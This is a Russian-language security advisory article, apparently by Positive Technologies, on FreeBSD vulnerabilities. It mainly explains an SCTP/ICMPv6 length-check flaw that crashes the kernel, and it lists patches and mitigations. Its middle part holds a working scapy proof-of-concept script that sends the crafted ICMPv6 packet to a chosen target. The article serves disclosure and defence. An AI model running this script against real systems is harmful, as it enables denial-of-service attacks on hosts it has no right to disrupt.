- PVSM.RU - https://www.pvsm.ru -
Команда проекта FreeBSD сообщает, что в операционной системе обнаружен ряд критически опасных уязвимостей, позволяющих злоумышленникам проводить атаки, направленные на отказ в обслуживании, повышать привилегии и раскрывать важные данные.
SCTP (Stream Control Transmission Protocol — «протокол передачи с управлением потоком») — это протокол транспортного уровня, который разработан для передачи сообщений сигнализации телефонных сетей в IP-среде. В основном данный протокол используется в технологических сетях операторов связи.
Этой уязвимости подвержены версии FreeBSD 9.3, 10.1 и 10.2 в том случае, если они сконфигурированы с поддержкой протоколов SCTP и IPv6 (конфигурация по умолчанию). Для эксплуатации ошибки злоумышленнику требуется отправить специально сформированное сообщение ICMPv6. Успешная эксплуатация позволяет реализовать атаку на отказ в обслуживании (DoS).
DoS возникает из-за недостаточной проверки длины заголовка SCTP-пакета, полученного в ICMPv6-сообщении об ошибке. Когда адресат недоступен, маршрутизатор может сгенерировать сообщение об ошибке и переслать его отправителю через ICMPv6.
В такой ICMPv6-пакет вложен оригинальный IPv6-пакет, в котором поле Next Header указывает на то, как протокол верхнего уровня инкапсулируется. В данном случае это SCTP.
Когда ядро получает по ICMPv6 сообщение об ошибке, оно находит в нем пакет протокола верхнего уровня и передает его соответствующему обработчику (в данном случае sctp6_ctlinput()).
Когда ядро получает по ICMPv6 сообщение об ошибке, оно находит в нем пакет протокола верхнего уровня и передает его соответствующему обработчику (в данном случае sctp6_ctlinput()). Обработчик SCTP предполагает, что входной пакет содержит заголовок достаточной длины, пытается скопировать его с помощью m_copydata(), в которую передаются значения смещения и количество байтов, которое требуется считать. Поскольку ожидается блок данных размером 12 байт, если отправить пакет с SCTP-заголовком меньше 12 байт, то происходит разыменование нулевого указателя, что вызывает критический сбой ядра системы (kernel panic).
Для эксплуатации уязвимости наличие открытого SCTP-сокета необязательно.
Создать ICMPv6-пакет для осуществления атаки можно с помощью scapy. На Хабре немало статей, посвященных этому мощному инструменту (например, эта [2] и эта [3] статьи).
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import argparse
from scapy.all import *
def get_args():
parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
parser.add_argument("-I", "--iface", type=str, help="Iface")
options = parser.parse_args()
if options.dst_mac is None or options.dst_ipv6 is None:
parser.print_help()
exit()
return options
if __name__ == '__main__':
options = get_args()
sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
src=options.dst_ipv6,
dst='fe80::230:56ff:fea6:648c'),
iface=options.iface)
Видеодемонстрация атаки:
Для того чтобы обезопасить себя от атаки с использованием данной ошибки безопасности, следует сделать следующее:
Для устранения уязвимости можно использовать патч [4] от производителя, который вносит дополнительные проверки в обработку ICMPv6-сообщений в SCTP-стек. И нужно будет перекомпилировать ядро.
Помимо этого, в системе обнаружен еще целый ряд серьезных уязвимостей. Разработчики FreeBSD выпустили несколько патчей, устраняющих эти ошибки:
Во избежание проблем, связанных с эксплуатацией указанных уязвимостей, эксперты Positive Technologies рекомендуют пользоваться IPv6-адресацией только в том случае, если она требуется для функционирования приложений, своевременно устанавливать обновления безопасности от разработчиков ОС и использовать специализированные инструменты для контроля защищенности системы (например, MaxPatrol [9]) для контроля защищенности системы.
Автор: Positive Technologies
Источник [10]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/freebsd/109717
Ссылки в тексте:
[1] Image: https://habrahabr.ru/company/pt/blog/275637/
[2] эта: https://habrahabr.ru/post/249563/
[3] эта: https://habrahabr.ru/company/pentestit/blog/208786/
[4] патч: https://security.freebsd.org/patches/SA-16:01/sctp.patch
[5] патч: https://security.freebsd.org/patches/SA-16:05/tcp.patch
[6] патч: https://security.freebsd.org/patches/SA-16:04/linux.patch
[7] патч: http://security.freebsd.org/patches/SA-16:03/linux.patch
[8] патч: https://security.freebsd.org/patches/SA-16:06/bsnmpd.patch
[9] MaxPatrol: http://www.ptsecurity.ru/mp8/
[10] Источник: https://habrahabr.ru/post/275637/
Нажмите здесь для печати.